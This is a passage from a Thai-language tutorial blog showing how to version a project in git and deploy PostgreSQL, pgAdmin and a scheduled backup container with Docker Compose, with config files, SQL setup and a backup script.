src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-06.57.23.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-06.57.23.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-06.57.23.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-06.57.23.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-06.57.23.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; SSH &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Copy URL</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-06.58.17.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-06.58.17.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-06.58.17.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-06.58.17.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-06.58.17.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Git Repo &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; git remote add origin &#xE15;&#xE32;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22; URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49; Copy &#xE21;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19;</li></ul><pre><code>git remote add origin git@github.com:promritn/userdatabase.git</code></pre><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File <code>README.md</code> &#xE43;&#xE19; Folder userdatabase</li></ul><pre><code>  touch README.md</code></pre><ul><li>&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D; PostgreSQL config &#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE31;&#xE27;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; 1 &#xE43;&#xE19; File <code>README.md</code> &#xE14;&#xE49;&#xE27;&#xE22; Tag &#xE02;&#xE2D;&#xE07; Markdown &#xE41;&#xE25;&#xE49;&#xE27; Save</li></ul><pre><code># PostgreSQL config
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.41.53.png" class="kg-image" alt loading="lazy" width="2000" height="1476" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.41.53.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.41.53.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.41.53.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.41.53.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>Commit &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git add .

git commit -m &apos;first commit&apos;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.45.58.png" class="kg-image" alt loading="lazy" width="1730" height="478" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.45.58.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.45.58.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.45.58.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.45.58.png 1730w" sizes="(min-width: 720px) 720px"></figure><ul><li>Push Code &#xE17;&#xE35;&#xE48; Commit &#xE02;&#xE36;&#xE49;&#xE19; Github Server</li></ul><pre><code>git push origin main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.48.13.png" class="kg-image" alt loading="lazy" width="1722" height="438" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.48.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.48.13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.48.13.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.48.13.png 1722w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Browser &#xE41;&#xE25;&#xE49;&#xE27; Refresh &#xE2B;&#xE19;&#xE49;&#xE32;&#xE15;&#xE48;&#xE32;&#xE07; userdatabase Repo &#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D; PostgreSQL config &#xE41;&#xE1A;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE43;&#xE2B;&#xE0D;&#xE48;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.48.55.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.48.55.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.48.55.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.48.55.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.48.55.png 2000w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30; Config PostgreSQL &#xE1A;&#xE19; Branch &#xE22;&#xE48;&#xE2D;&#xE22; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07; Trunk-Based Developmen &#xE41;&#xE25;&#xE49;&#xE27;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE04;&#xE27;&#xE23;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07; (Short-Lived Branch) &#xE08;&#xE32;&#xE01; Trunk &#xE0B;&#xE36;&#xE48;&#xE07;&#xE07;&#xE32;&#xE19;&#xE04;&#xE27;&#xE23;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE44;&#xE14;&#xE49;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2D;&#xE31;&#xE19;&#xE2A;&#xE31;&#xE49;&#xE19; (&#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE34;&#xE19; 1 &#xE27;&#xE31;&#xE19;) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23; Merge &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Trunk &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27;</p><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Short-Lived Branch &#xE0A;&#xE37;&#xE48;&#xE2D; feature/config-postgresql</li></ul><pre><code>git checkout -b feature/config-postgresql
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-08.03.04.png" class="kg-image" alt loading="lazy" width="1718" height="358" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-08.03.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-08.03.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-08.03.04.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-08.03.04.png 1718w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &#xE41;&#xE25;&#xE30; Folder &#xE02;&#xE2D;&#xE07; Project &#xE15;&#xE32;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>.
&#x251C;&#x2500;&#x2500; README.md
&#x251C;&#x2500;&#x2500; backup
&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; backup.sh
&#x251C;&#x2500;&#x2500; backups
&#x251C;&#x2500;&#x2500; docker
&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; init.sql
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x2514;&#x2500;&#x2500; docker-compose.yml</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.19.32.png" class="kg-image" alt loading="lazy" width="2000" height="1648" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.19.32.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.19.32.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.19.32.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.19.32.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>docker-compose.yml</code> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Deploy PosgreSQL, PGAdmin &#xE41;&#xE25;&#xE30; Backup Container</li></ul><figure class="kg-card kg-code-card"><pre><code># docker-compose.yml

services:
  db:
    build: ./docker
    container_name: user_postgres
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    volumes:
      - postgres_data:/var/lib/postgresql/data
      - ./backups:/backups  # volume &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; File backup
    ports:
      - &quot;${POSTGRES_PORT}:5432&quot;
    networks:
      - database_network
    healthcheck:
      test: [&quot;CMD-SHELL&quot;, &quot;pg_isready -U ${POSTGRES_USER} -d ${POSTGRES_DB}&quot;]
      interval: 5s
      timeout: 5s
      retries: 5
    restart: unless-stopped

  pgadmin:
    image: dpage/pgadmin4
    container_name: user_pgadmin
    environment:
      PGADMIN_DEFAULT_EMAIL: ${PGADMIN_DEFAULT_EMAIL}
      PGADMIN_DEFAULT_PASSWORD: ${PGADMIN_DEFAULT_PASSWORD}
    volumes:
      - pgadmin_data:/var/lib/pgadmin
    ports:
      - &quot;${PGADMIN_PORT}:80&quot;
    networks:
      - database_network
    restart: unless-stopped
    depends_on:
      - db

  backup:
    build: ./backup
    container_name: postgres_backup
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
      POSTGRES_HOST: db
      BACKUP_RETENTION_DAYS: 7  # &#xE40;&#xE01;&#xE47;&#xE1A; backup &#xE44;&#xE27;&#xE49; 7 &#xE27;&#xE31;&#xE19;
      BACKUP_SCHEDULE: &quot;0 0 * * *&quot;  # &#xE17;&#xE33; backup &#xE17;&#xE38;&#xE01;&#xE27;&#xE31;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE17;&#xE35;&#xE48;&#xE22;&#xE07;&#xE04;&#xE37;&#xE19;
    volumes:
      - ./backups:/backups
    networks:
      - database_network
    depends_on:
      - db

networks:
  database_network:
    name: database_network
    driver: bridge

volumes:
  postgres_data:
  pgadmin_data:</code></pre><figcaption>docker-compose.yml</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>.env</code></li></ul><figure class="kg-card kg-code-card"><pre><code># .env
POSTGRES_DB=postgres
POSTGRES_USER=postgres
POSTGRES_PASSWORD=postgres123
POSTGRES_PORT=5432
PGADMIN_DEFAULT_EMAIL=admin@admin.com
PGADMIN_DEFAULT_PASSWORD=admin123
PGADMIN_PORT=5050</code></pre><figcaption>.env</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>.gitignore</code></li></ul><figure class="kg-card kg-code-card"><pre><code># .gitignore
.env

# Ignore backup files
/backups/
*.backup
*.backup.gz
*.dump
*.sql
*.gz</code></pre><figcaption>.gitignore</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>Dockerfile</code> &#xE43;&#xE19; Folder docker</li></ul><figure class="kg-card kg-code-card"><pre><code># Dockerfile
FROM postgres:17-alpine

# Copy initialization scripts
COPY init.sql /docker-entrypoint-initdb.d/

# Set locale (optional)
ENV LANG en_US.utf8</code></pre><figcaption>docker/Dockerfile</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>init.sql</code> &#xE43;&#xE19; Folder docker</li></ul><figure class="kg-card kg-code-card"><pre><code>-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE15;&#xE32;&#xE23;&#xE32;&#xE07; users
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    email VARCHAR(255) NOT NULL UNIQUE,
    created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17; updated_at &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;
CREATE OR REPLACE FUNCTION update_modified_column()
RETURNS TRIGGER AS $$
BEGIN
    NEW.updated_at = now();
    RETURN NEW;
END;
$$ language &apos;plpgsql&apos;;

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; trigger &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17; updated_at
CREATE TRIGGER update_users_modtime
    BEFORE UPDATE ON users
    FOR EACH ROW
    EXECUTE FUNCTION update_modified_column();

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; indexes &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;
CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_users_name ON users(name);

-- &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;
INSERT INTO users (name, email) VALUES 
    (&apos;&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;&apos;, &apos;nuttachot@example.com&apos;),
    (&apos;&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;&apos;, &apos;sajjaporn@example.com&apos;),
    (&apos;&#xE2A;&#xE21;&#xE28;&#xE23;&#xE35; &#xE21;&#xE35;&#xE2A;&#xE38;&#xE02;&apos;, &apos;somsri@example.com&apos;);</code></pre><figcaption>docker/init.sql</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>Dockerfile</code> &#xE43;&#xE19; Folder backup</li></ul><figure class="kg-card kg-code-card"><pre><code># backup/Dockerfile
FROM postgres:17-alpine

# &#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; dependencies &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;
RUN apk add --no-cache \
    bash \
    curl \
    pigz \
    tar \
    dcron \
    tzdata

# Copy backup script
COPY backup.sh /backup.sh
RUN chmod +x /backup.sh

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; directory &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; log
RUN mkdir -p /var/log/cron &amp;&amp; \
    touch /var/log/cron/cron.log &amp;&amp; \
    chmod 0644 /var/log/cron/cron.log

# Create a script to setup and run cron
RUN echo &apos;#!/bin/sh&apos; &gt; /entrypoint.sh &amp;&amp; \
    echo &apos;printenv | grep -v &quot;no_proxy&quot; &gt;&gt; /etc/environment&apos; &gt;&gt; /entrypoint.sh &amp;&amp; \
    echo &apos;crond -f -d 8 &gt;&gt; /var/log/cron/cron.log 2&gt;&amp;1&apos; &gt;&gt; /entrypoint.sh &amp;&amp; \
    chmod +x /entrypoint.sh

ENTRYPOINT [&quot;/entrypoint.sh&quot;]</code></pre><figcaption>backup/Dockerfile</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>backup.sh</code> &#xE43;&#xE19; Folder backup</li></ul><pre><code>#!/bin/bash
# backup/backup.sh

# &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;
BACKUP_DIR=&quot;/backups&quot;
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE=&quot;backup_${TIMESTAMP}&quot;

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder backup &#xE16;&#xE49;&#xE32;&#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;
mkdir -p ${BACKUP_DIR}

# &#xE17;&#xE33; Database Backup
echo &quot;Starting backup of PostgreSQL database: ${POSTGRES_DB}&quot;
PGPASSWORD=${POSTGRES_PASSWORD} pg_dump -h ${POSTGRES_HOST} -U ${POSTGRES_USER} -d ${POSTGRES_DB} -F c -b -v -f &quot;${BACKUP_DIR}/${BACKUP_FILE}.backup&quot;

# &#xE1A;&#xE35;&#xE1A;&#xE2D;&#xE31;&#xE14; File backup
echo &quot;Compressing backup file...&quot;
pigz &quot;${BACKUP_DIR}/${BACKUP_FILE}.backup&quot;

# &#xE25;&#xE1A; File backup &#xE40;&#xE01;&#xE48;&#xE32;
echo &quot;Removing old backups...&quot;
find ${BACKUP_DIR} -type f -name &quot;*.backup.gz&quot; -mtime +${BACKUP_RETENTION_DAYS} -delete

# &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;
if [ $? -eq 0 ]; then
    echo &quot;Backup completed successfully: ${BACKUP_FILE}.backup.gz&quot;
else
    echo &quot;Backup failed!&quot;
    exit 1
fi

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; symlink &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; backup &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;
ln -sf &quot;${BACKUP_DIR}/${BACKUP_FILE}.backup.gz&quot; &quot;${BACKUP_DIR}/latest.backup.gz&quot;</code></pre><p>&#xE01;&#xE48;&#xE2D;&#xE19; Commit Code &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;</p><ul><li>Deploy PostgreSQL, PGAdmin &#xE41;&#xE25;&#xE30; Backup Container</li></ul><pre><code>docker-compose up -d</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.52.09.png" class="kg-image" alt loading="lazy" width="2000" height="1434" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.52.09.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.52.09.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.52.09.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.52.09.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Container &#xE17;&#xE35;&#xE48; Deploy</li></ul><pre><code>docker-compose ps</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.52.49.png" class="kg-image" alt loading="lazy" width="2000" height="134" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.52.49.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.52.49.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.52.49.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.52.49.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; Logs &#xE02;&#xE2D;&#xE07; 3 Container &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;</li></ul><pre><code>docker-compose logs</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.54.45.png" class="kg-image" alt loading="lazy" width="2000" height="1391" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.54.45.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.54.45.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.54.45.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.54.45.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Backup Database</li></ul><pre><code>docker exec postgres_backup /backup.sh</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.59.23.png" class="kg-image" alt loading="lazy" width="2000" height="1663" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.59.23.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.59.23.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.59.23.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.59.23.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Restore &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code># Latest backup
docker exec -it user_postgres pg_restore -U [user] -d [dbname] -v /backups/latest.backup.gz

# Specific backup
docker exec -it user_postgres pg_restore -U [user] -d [dbname] -v /backups/backup_[timestamp].backup.gz</code></pre><p>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE48;&#xE32;&#xE19; PG Admin &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ul><li>&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; &#xA0;URL <a href="http://localhost:5050/?ref=blog.pjjop.org">http://localhost:5050</a> &#xE43;&#xE2A;&#xE48; Username &#xE41;&#xE25;&#xE30; Password &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; File <code>.env</code></li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.04.13.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.04.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.04.13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.04.13.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.04.13.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE01;&#xE14; Add New Server</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.06.47.png" class="kg-image" alt loading="lazy" width="2000" height="1583" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.06.47.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.06.47.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.06.47.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.06.47.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Connection</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.07.27.png" class="kg-image" alt loading="lazy" width="2000" height="1583" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.07.27.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.07.27.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.07.27.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.07.27.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Connection &#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-9.51.27-PM.png" class="kg-image" alt loading="lazy" width="1762" height="1308" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-9.51.27-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-9.51.27-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-9.51.27-PM.png 1600w, 